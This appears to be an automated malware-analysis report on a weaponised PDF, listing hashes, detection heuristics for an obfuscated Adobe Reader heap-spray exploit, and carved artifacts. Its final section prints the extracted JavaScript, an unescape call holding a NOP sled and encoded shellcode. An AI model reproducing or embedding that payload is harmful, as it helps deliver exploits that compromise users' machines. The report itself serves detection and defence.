Malicious PDF — malware analysis report

Static analysis result for SHA-256 28227af93c4c368d…

MALICIOUS

PDF

1.17 MB Created: 2009-12-17 03:14:38 +08:00 Authoring application: PScript5.dll Version 5.2 (via Acrobat Distiller 7.0.5 (Windows)) First seen: 2026-05-11
MD5: db6a2f00c87c68b32b87cfba5078d71f SHA-1: a41c73af6d9e2ab5250735bf8206c1701564b42e SHA-256: 28227af93c4c368d65962bdea2cbf6cb53871f8998ba0cb324363683c6ee2adc
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF contains embedded JavaScript and an embedded file artifact, strongly indicating malicious intent. The ML classifier also flagged this PDF with high confidence. The embedded JavaScript and file are likely used to download and execute a secondary payload. The specific nature of the payload cannot be determined from the available evidence.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9980

Heuristics 7

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Obfuscated multi-stage PDF JavaScript heap-spray exploit critical CVE related PDF_JS_OBFUSCATED_MULTISTAGE_HEAPSPRAY
    PDF JavaScript hidden behind nested stream filters and/or a custom in-JS decoder (rolling-XOR stager) decodes to a heap-spray / ROP chain. The spray is only visible after unwinding those layers, which is why the raw heap-spray rules miss it. This is an obfuscated multi-stage Adobe Reader JavaScript exploit; the dropped Windows payload (often named Win.Trojan.Agent by signature AV) is the second stage, not the delivery mechanism.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTAL
    The same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
k1 pdf-embedded-file PDF EmbeddedFile object 26 at offset 0x1EC1 1206312 bytes
SHA-256: d5005e6ee2e649716afeda73fc5624d60ddac2ec2e3497a03f11116991a6a4e7
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 8.00, consistent with packed or encrypted content.
javascript_obj0031_000.js pdf-javascript-stream PDF /JS object 31 at offset 0x12B202 5622 bytes
SHA-256: 9b4679532ae4580517cb83df2f333423cc2352250933a7d9e01aca21335cb2e4
Preview script
First 1,000 lines of the extracted script
var aferiogirgioaserufklzsdvnmcznvmasdiofvhas=unescape;
var QazWSxeDCrFVtGBUjnIkmOIuplM = aferiogirgioaserufklzsdvnmcznvmasdiofvhas("%u\x39\x30\x39\x30%u\x39\x30\x39\x30%u\x39\x30\x39\x30"+
"%u\x65\x62\x39\x30%u5\x6518%u5\x6256%u068\x61%u303\x63%u1474%u6\x6266%u49\x630"+
"%u8\x6146%u\x33226%u88\x634%u430\x33%u\x65\x6246%u\x658\x65\x62%u\x66\x66\x653%u\x66\x66\x66\x66"+
"%u4445%u5843%u6544%u6444%u6444%u4d43%u5744%u4941%u5a4e%u5942%u5a4a%u5444"+
"%u5942%u5a4a%u6844%u5942%u6b43%u7844%u584d%u5942%u5a4a%u6c44%u4543%u4a41"+
"%u584d%u4b43%u4943%u6141%u6944%u6444%u6444%u6444%u5849%u6344%u5142%u4d41"+
"%u6c44%u5142%u4e41%u674b%u584b%u7841%u6e43%u6541%u4a41%u7a4a%u5942%u7743"+
"%u474b%u474b%u5942%u7a47%u5844%u5942%u4f43%u4c44%u6343%u6744%u7845%u5942"+
"%u5143%u7a52%u5942%u4143%u4444%u6744%u5441%u6a41%u5044%u5243%u5942%u5044"+
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"%u7844%u7a43%u4a41%u4e41%u7a47%u5a4e%u6444%u6444%u6444%u6444%u7143%u6444"+
"%u784d%u7a47%u4743%u4b43%u7343%u6444%u674b%u6444%u6444%u7641%u6e43%u5844"+
"%u7641%u6e43%u5343%u7641%u4e43%u7a52%u5744%u6445%u5947%u5942%u5643%u4743"+
"%u5942%u6643%u5844%u5942%u5a45%u6142%u4445%u4446%u4e41%u5a46%u5644%u4a41"+
"%u5644%u4b41%u7842%u7741%u4241%u7741%u4341%u6b41%u5945%u7143%u6444%u784d"+
"%u7a47%u7a4a%u4b43%u7641%u6e43%u4743%u5942%u4e43%u5844%u4943%u7641%u6e43"+
"%u5743%u7641%u4e43%u7844%u5942%u4e43%u7a4a%u4d44%u4e43%u4343%u5142%u6643"+
"%u4343%u6444%u6443%u4446%u7641%u6e43%u5743%u7641%u4e43%u6c44%u4a41%u7846"+
"%u5543%u6a44%u6541%u5142%u6b42%u6742%u6343%u7241%u4542%u7441%u6b44%u5744"+
"%u4341%u5842%u6447%u5443%u6744%u4e41%u6d42%u7742%u7344%u6444%u6743%u7244"+
"%u5a47%u7341%u7444%u416e%u6243%u6e44%u6141%u5a46%u6c44%u5341%u6d43%u584d"+
"%u4942%u6643%u5641%u4a42%u7741%u5842%u6a44%u6541%u4542%u6744%u6844%u6444"+
"%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444"+
"%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444"+
"%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6942"+
"%u6942%u6942%u6942%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444"+
"%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6f43%u5a47%u7643%u6b43%u4a44"+
"%u5a47%u6343%u5a47%u6444%u6141%u6444%u6444%u6444%u6444%u4643%u5342%u6441"+
"%u6d43%u6444%u6444%u6444%u6141%u5a46%u7741%u7641%u7641%u5942%u5941%u5942"+
"%u5845%u5942%u7741%u5942%u4741%u5142%u4841%u5444%u6141%u5946%u7741%u7641"+
"%u7641%u5744%u6445%u5849%u5643%u5343%u5142%u7a47%u5343%u674b%u5744%u6445"+
"%u4a43%u7641%u6e43%u5343%u7641%u4e43%u474b%u5944%u5242%u6842%u7644%u6444"+
"%u6943%u6541%u5944%u5242%u6942%u7644%u6444%u6c43%u6c41%u7343%u7641%u6444"+
"%u6444%u6444%u7143%u5a4a%u7641%u4e43%u4844%u5849%u7a47%u5a52%u4b43%u7343"+
"%u7641%u6444%u6444%u6444%u7641%u4e43%u6844%u5942%u4141%u5942%u7a47%u5a52"+
"%u6744%u4841%u5142%u6141%u6144%u4f41%u6444%u6444%u7641%u6e43%u5a52%u7641"+
"%u4e43%u7444%u7143%u6444%u7143%u6444%u7343%u6444%u416e%u6444%u6444%u7641"+
"%u6e43%u5343%u7641%u4e43%u4444%u7143%u6444%u784d%u7a47%u4743%u4b43%u7143"+
"%u674b%u784d%u7a47%u4f43%u4b43%u7641%u6e43%u5343%u7641%u4e43%u7a52%u7143"+
"%u6444%u7143%u6444%u7343%u7444%u416e%u6444%u6444%u7641%u6e43%u5343%u7641"+
"%u4e43%u4444%u4e43%u7143%u6444%u7343%u5242%u6444%u6444%u6444%u7143%u6644"+
"%u7143%u6444%u7143%u6544%u7343%u6444%u6444%u6444%u5a4a%u784d%u7a47%u7343"+
"%u4b43%u5142%u7a47%u7044%u6144%u6241%u6e44%u5942%u5845%u5942%u7641%u4e43"+
"%u5942%u6541%u7641%u5947%u7044%u6141%u7841%u7641%u7641%u7641%u4643%u5142"+
"%u7141%u7641%u6e43%u6644%u6241%u5a4b%u5849%u7a47%u5743%u7343%u6444%u674b"+
"%u6444%u6444%u7143%u5a4a%u7641%u4e43%u4844%u5849%u7a47%u5844%u5942%u7a47"+
"%u4f43%u5849%u7a47%u4343%u6141%u5143%u7741%u7641%u7641%u4e43%u5744%u6445"+
"%u4a43%u784d%u7a47%u7343%u4b43%u5142%u7a47%u4c44%u6144%u6241%u6e44%u5942"+
"%u5845%u4242%u4242%u4e43%u5942%u6541%u7641%u5947%u4c44%u6141%u7841%u7641"+
"%u7641%u7641%u4643%u7143%u6444%u7143%u7641%u7641%u4e43%u674b%u4242%u4242"+
"%u4242%u4e43%u5942%u6541%u5142%u4d41%u5945%u7143%u5845%u6141%u7946%u6444"+
"%u6444%u6444%u5849%u7a47%u7541%u7641%u6e43%u6c44%u6141%u5743%u6444%u6444"+
"%u6444%u5849%u7a47%u5945%u7143%u6444%u784d%u7a47%u7141%u4b43%u7641%u6e43"+
"%u5945%u7641%u6e43%u6c44%u7641%u6e43%u7541%u6141%u6843%u6444%u6444%u6444"+
"%u5942%u7a47%u7141%u6445%u4b41%u674b%u6444%u4541%u4541%u4e43%u5942%u6541"+
"%u5142%u4d41%u7141%u7143%u5845%u6141%u4c43%u6444%u6444%u6444%u5849%u7a47"+
"%u7541%u5942%u5643%u6c44%u5942%u7a47%u6844%u4841%u6941%u7444%u5947%u5942"+
"%u4841%u4b43%u7641%u6e43%u7541%u6141%u5043%u6444%u6444%u6444%u6445%u4b41"+
"%u6c44%u6444%u4541%u4541%u4541%u4e43%u5942%u6541%u4843%u5942%u7a47%u6c44"+
"%u784d%u4b43%u6744%u5942%u7a52%u5142%u4941%u674b%u784d%u5942%u7641%u7741"+
"%u7741%u7741%u5a45%u5a41%u4744%u4241%u5342%u6841%u5242%u5242%u5242%u5242"+
"%u6f43%u4445%u5a45%u4841%u5242%u5242%u6444%u6444%u6e43%u6244%u4841%u4445"+
"%u7444%u5142%u4941%u6644%u5941%u6841%u784b%u4b41%u6447%u6445%u4b41%u674b"+
"%u6444%u7641%u4144%u674b%u4444%u5a4a%u6444%u7641%u4144%u6c44%u4444%u5a4a"+
"%u6444%u7641%u4144%u6444%u4444%u5a4a%u6444%u6444%u6444%u6444%u6444%u6444"+
"%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444"+
"%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444"+
"%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444%u6444"+
"%u3030");

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